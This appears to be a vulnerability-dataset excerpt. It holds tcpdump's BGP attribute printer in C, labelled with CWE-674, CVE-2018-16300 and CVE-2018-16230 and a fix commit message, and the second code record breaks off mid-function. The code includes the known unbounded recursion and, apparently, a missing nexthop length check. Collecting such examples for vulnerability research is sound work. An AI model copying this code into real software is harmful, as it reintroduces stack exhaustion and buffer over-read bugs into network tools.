while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
advance = decode_rt_routing_info(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*tptr,tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
done:
break;
case BGPTYPE_MP_UNREACH_NLRI:
ND_TCHECK2(tptr[0], BGP_MP_NLRI_MINSIZE);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
if (len == BGP_MP_NLRI_MINSIZE)
ND_PRINT((ndo, "\n\t End-of-Rib Marker (empty NLRI)"));
tptr += 3;
while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*(tptr-3),tlen);
ND_PRINT((ndo, "no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr-3, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
break;
case BGPTYPE_EXTD_COMMUNITIES:
if (len % 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint16_t extd_comm;
ND_TCHECK2(tptr[0], 2);
extd_comm=EXTRACT_16BITS(tptr);
ND_PRINT((ndo, "\n\t %s (0x%04x), Flags [%s]",
tok2str(bgp_extd_comm_subtype_values,
"unknown extd community typecode",
extd_comm),
extd_comm,
bittok2str(bgp_extd_comm_flag_values, "none", extd_comm)));
ND_TCHECK2(*(tptr+2), 6);
switch(extd_comm) {
case BGP_EXT_COM_RT_0:
case BGP_EXT_COM_RO_0:
case BGP_EXT_COM_L2VPN_RT_0:
ND_PRINT((ndo, ": %u:%u (= %s)",
EXTRACT_16BITS(tptr+2),
EXTRACT_32BITS(tptr+4),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_EXT_COM_RT_1:
case BGP_EXT_COM_RO_1:
case BGP_EXT_COM_L2VPN_RT_1:
case BGP_EXT_COM_VRF_RT_IMP:
ND_PRINT((ndo, ": %s:%u",
ipaddr_string(ndo, tptr+2),
EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_RT_2:
case BGP_EXT_COM_RO_2:
ND_PRINT((ndo, ": %s:%u",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr+2)), EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_LINKBAND:
bw.i = EXTRACT_32BITS(tptr+2);
ND_PRINT((ndo, ": bandwidth: %.3f Mbps",
bw.f*8/1000000));
break;
case BGP_EXT_COM_VPN_ORIGIN:
case BGP_EXT_COM_VPN_ORIGIN2:
case BGP_EXT_COM_VPN_ORIGIN3:
case BGP_EXT_COM_VPN_ORIGIN4:
case BGP_EXT_COM_OSPF_RID:
case BGP_EXT_COM_OSPF_RID2:
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr+2)));
break;
case BGP_EXT_COM_OSPF_RTYPE:
case BGP_EXT_COM_OSPF_RTYPE2:
ND_PRINT((ndo, ": area:%s, router-type:%s, metric-type:%s%s",
ipaddr_string(ndo, tptr+2),
tok2str(bgp_extd_comm_ospf_rtype_values,
"unknown (0x%02x)",
*(tptr+6)),
(*(tptr+7) & BGP_OSPF_RTYPE_METRIC_TYPE) ? "E2" : "",
((*(tptr+6) == BGP_OSPF_RTYPE_EXT) || (*(tptr+6) == BGP_OSPF_RTYPE_NSSA)) ? "E1" : ""));
break;
case BGP_EXT_COM_L2INFO:
ND_PRINT((ndo, ": %s Control Flags [0x%02x]:MTU %u",
tok2str(l2vpn_encaps_values,
"unknown encaps",
*(tptr+2)),
*(tptr+3),
EXTRACT_16BITS(tptr+4)));
break;
case BGP_EXT_COM_SOURCE_AS:
ND_PRINT((ndo, ": AS %u", EXTRACT_16BITS(tptr+2)));
break;
default:
ND_TCHECK2(*tptr,8);
print_unknown_data(ndo, tptr, "\n\t ", 8);
break;
}
tlen -=8;
tptr +=8;
}
break;
case BGPTYPE_PMSI_TUNNEL:
{
uint8_t tunnel_type, flags;
ND_TCHECK2(tptr[0], 5);
tunnel_type = *(tptr+1);
flags = *tptr;
tlen = len;
ND_PRINT((ndo, "\n\t Tunnel-type %s (%u), Flags [%s], MPLS Label %u",
tok2str(bgp_pmsi_tunnel_values, "Unknown", tunnel_type),
tunnel_type,
bittok2str(bgp_pmsi_flag_values, "none", flags),
EXTRACT_24BITS(tptr+2)>>4));
tptr +=5;
tlen -= 5;
switch (tunnel_type) {
case BGP_PMSI_TUNNEL_PIM_SM: /* fall through */
case BGP_PMSI_TUNNEL_PIM_BIDIR:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Sender %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_PIM_SSM:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_INGRESS:
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "\n\t Tunnel-Endpoint %s",
ipaddr_string(ndo, tptr)));
break;
case BGP_PMSI_TUNNEL_LDP_P2MP: /* fall through */
case BGP_PMSI_TUNNEL_LDP_MP2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, LSP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
case BGP_PMSI_TUNNEL_RSVP_P2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Extended-Tunnel-ID %s, P2MP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr, "\n\t ", tlen);
}
}
break;
}
case BGPTYPE_AIGP:
{
uint8_t type;
uint16_t length;
tlen = len;
while (tlen >= 3) {
ND_TCHECK2(tptr[0], 3);
type = *tptr;
length = EXTRACT_16BITS(tptr+1);
tptr += 3;
tlen -= 3;
ND_PRINT((ndo, "\n\t %s TLV (%u), length %u",
tok2str(bgp_aigp_values, "Unknown", type),
type, length));
if (length < 3)
goto trunc;
length -= 3;
/*
* Check if we can read the TLV data.
*/
ND_TCHECK2(tptr[3], length);
switch (type) {
case BGP_AIGP_TLV:
if (length < 8)
goto trunc;
ND_PRINT((ndo, ", metric %" PRIu64,
EXTRACT_64BITS(tptr)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr,"\n\t ", length);
}
}
tptr += length;
tlen -= length;
}
break;
}
case BGPTYPE_ATTR_SET:
ND_TCHECK2(tptr[0], 4);
if (len < 4)
goto trunc;
ND_PRINT((ndo, "\n\t Origin AS: %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr))));
tptr+=4;
len -=4;
while (len) {
u_int aflags, alenlen, alen;
ND_TCHECK2(tptr[0], 2);
if (len < 2)
goto trunc;
aflags = *tptr;
atype = *(tptr + 1);
tptr += 2;
len -= 2;
alenlen = bgp_attr_lenlen(aflags, tptr);
ND_TCHECK2(tptr[0], alenlen);
if (len < alenlen)
goto trunc;
alen = bgp_attr_len(aflags, tptr);
tptr += alenlen;
len -= alenlen;
ND_PRINT((ndo, "\n\t %s (%u), length: %u",
tok2str(bgp_attr_values,
"Unknown Attribute", atype),
atype,
alen));
if (aflags) {
ND_PRINT((ndo, ", Flags [%s%s%s%s",
aflags & 0x80 ? "O" : "",
aflags & 0x40 ? "T" : "",
aflags & 0x20 ? "P" : "",
aflags & 0x10 ? "E" : ""));
if (aflags & 0xf)
ND_PRINT((ndo, "+%x", aflags & 0xf));
ND_PRINT((ndo, "]: "));
}
/* FIXME check for recursion */
if (!bgp_attr_print(ndo, atype, tptr, alen))
return 0;
tptr += alen;
len -= alen;
}
break;
case BGPTYPE_LARGE_COMMUNITY:
if (len == 0 || len % 12) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_PRINT((ndo, "\n\t "));
while (len > 0) {
ND_TCHECK2(*tptr, 12);
ND_PRINT((ndo, "%u:%u:%u%s",
EXTRACT_32BITS(tptr),
EXTRACT_32BITS(tptr + 4),
EXTRACT_32BITS(tptr + 8),
(len > 12) ? ", " : ""));
tptr += 12;
len -= 12;
}
break;
default:
ND_TCHECK2(*pptr,len);
ND_PRINT((ndo, "\n\t no Attribute %u decoder", atype)); /* we have no decoder for the attribute */
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, pptr, "\n\t ", len);
break;
}
if (ndo->ndo_vflag > 1 && len) { /* omit zero length attributes*/
ND_TCHECK2(*pptr,len);
print_unknown_data(ndo, pptr, "\n\t ", len);
}
return 1;
trunc:
return 0;
}
| 5,230,270,584,618,741,000,000,000,000,000,000,000 | print-bgp.c | 232,531,695,120,400,940,000,000,000,000,000,000,000 | [
"CWE-674"
] | CVE-2018-16300 | The BGP parser in tcpdump before 4.9.3 allows stack consumption in print-bgp.c:bgp_attr_print() because of unlimited recursion. | https://nvd.nist.gov/vuln/detail/CVE-2018-16300 |
4,167 | tcpdump | 13d52e9c0e7caf7e6325b0051bc90a49968be67f | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/13d52e9c0e7caf7e6325b0051bc90a49968be67f | (for 4.9.3) CVE-2018-16230/BGP: fix decoding of MP_REACH_NLRI
When bgp_attr_print() tried to decode the variable-length nexthop value
for the NSAP VPN case, it did not check that the declared length is good
to interpret the value as a mapped IPv4 or IPv6 address. Add missing
checks to make this safe.
This fixes a buffer over-read discovered by Include Security working
under the Mozilla SOS program in 2018 by means of code audit.
Bhargava Shastry, SecT/TU Berlin, had independently identified this
vulnerability by means of fuzzing and provided the packet capture file
for the test. | 1 | bgp_attr_print(netdissect_options *ndo,
u_int atype, const u_char *pptr, u_int len)
{
int i;
uint16_t af;
uint8_t safi, snpa, nhlen;
union { /* copy buffer for bandwidth values */
float f;
uint32_t i;
} bw;
int advance;
u_int tlen;
const u_char *tptr;
char buf[MAXHOSTNAMELEN + 100];
int as_size;
tptr = pptr;
tlen=len;
switch (atype) {
case BGPTYPE_ORIGIN:
if (len != 1)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK(*tptr);
ND_PRINT((ndo, "%s", tok2str(bgp_origin_values,
"Unknown Origin Typecode",
tptr[0])));
}
break;
/*
* Process AS4 byte path and AS2 byte path attributes here.
*/
case BGPTYPE_AS4_PATH:
case BGPTYPE_AS_PATH:
if (len % 2) {
ND_PRINT((ndo, "invalid len"));
break;
}
if (!len) {
ND_PRINT((ndo, "empty"));
break;
}
/*
* BGP updates exchanged between New speakers that support 4
* byte AS, ASs are always encoded in 4 bytes. There is no
* definitive way to find this, just by the packet's
* contents. So, check for packet's TLV's sanity assuming
* 2 bytes first, and it does not pass, assume that ASs are
* encoded in 4 bytes format and move on.
*/
as_size = bgp_attr_get_as_size(ndo, atype, pptr, len);
while (tptr < pptr + len) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_open_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
for (i = 0; i < tptr[1] * as_size; i += as_size) {
ND_TCHECK2(tptr[2 + i], as_size);
ND_PRINT((ndo, "%s ",
as_printf(ndo, astostr, sizeof(astostr),
as_size == 2 ?
EXTRACT_16BITS(&tptr[2 + i]) :
EXTRACT_32BITS(&tptr[2 + i]))));
}
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_close_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
tptr += 2 + tptr[1] * as_size;
}
break;
case BGPTYPE_NEXT_HOP:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
}
break;
case BGPTYPE_MULTI_EXIT_DISC:
case BGPTYPE_LOCAL_PREF:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%u", EXTRACT_32BITS(tptr)));
}
break;
case BGPTYPE_ATOMIC_AGGREGATE:
if (len != 0)
ND_PRINT((ndo, "invalid len"));
break;
case BGPTYPE_AGGREGATOR:
/*
* Depending on the AS encoded is of 2 bytes or of 4 bytes,
* the length of this PA can be either 6 bytes or 8 bytes.
*/
if (len != 6 && len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], len);
if (len == 6) {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_16BITS(tptr)),
ipaddr_string(ndo, tptr + 2)));
} else {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr)), ipaddr_string(ndo, tptr + 4)));
}
break;
case BGPTYPE_AGGREGATOR4:
if (len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr)),
ipaddr_string(ndo, tptr + 4)));
break;
case BGPTYPE_COMMUNITIES:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint32_t comm;
ND_TCHECK2(tptr[0], 4);
comm = EXTRACT_32BITS(tptr);
switch (comm) {
case BGP_COMMUNITY_NO_EXPORT:
ND_PRINT((ndo, " NO_EXPORT"));
break;
case BGP_COMMUNITY_NO_ADVERT:
ND_PRINT((ndo, " NO_ADVERTISE"));
break;
case BGP_COMMUNITY_NO_EXPORT_SUBCONFED:
ND_PRINT((ndo, " NO_EXPORT_SUBCONFED"));
break;
default:
ND_PRINT((ndo, "%u:%u%s",
(comm >> 16) & 0xffff,
comm & 0xffff,
(tlen>4) ? ", " : ""));
break;
}
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_ORIGINATOR_ID:
if (len != 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
break;
case BGPTYPE_CLUSTER_LIST:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s%s",
ipaddr_string(ndo, tptr),
(tlen>4) ? ", " : ""));
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_MP_REACH_NLRI:
ND_TCHECK2(tptr[0], 3);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
goto done;
break;
}
tptr +=3;
ND_TCHECK(tptr[0]);
nhlen = tptr[0];
tlen = nhlen;
tptr++;
if (tlen) {
int nnh = 0;
ND_PRINT((ndo, "\n\t nexthop: "));
while (tlen > 0) {
if ( nnh++ > 0 ) {
ND_PRINT((ndo, ", " ));
}
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
tlen -= sizeof(struct in_addr);
tptr += sizeof(struct in_addr);
}
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
if (tlen < (int)sizeof(struct in6_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in6_addr));
ND_PRINT((ndo, "%s", ip6addr_string(ndo, tptr)));
tlen -= sizeof(struct in6_addr);
tptr += sizeof(struct in6_addr);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in6_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
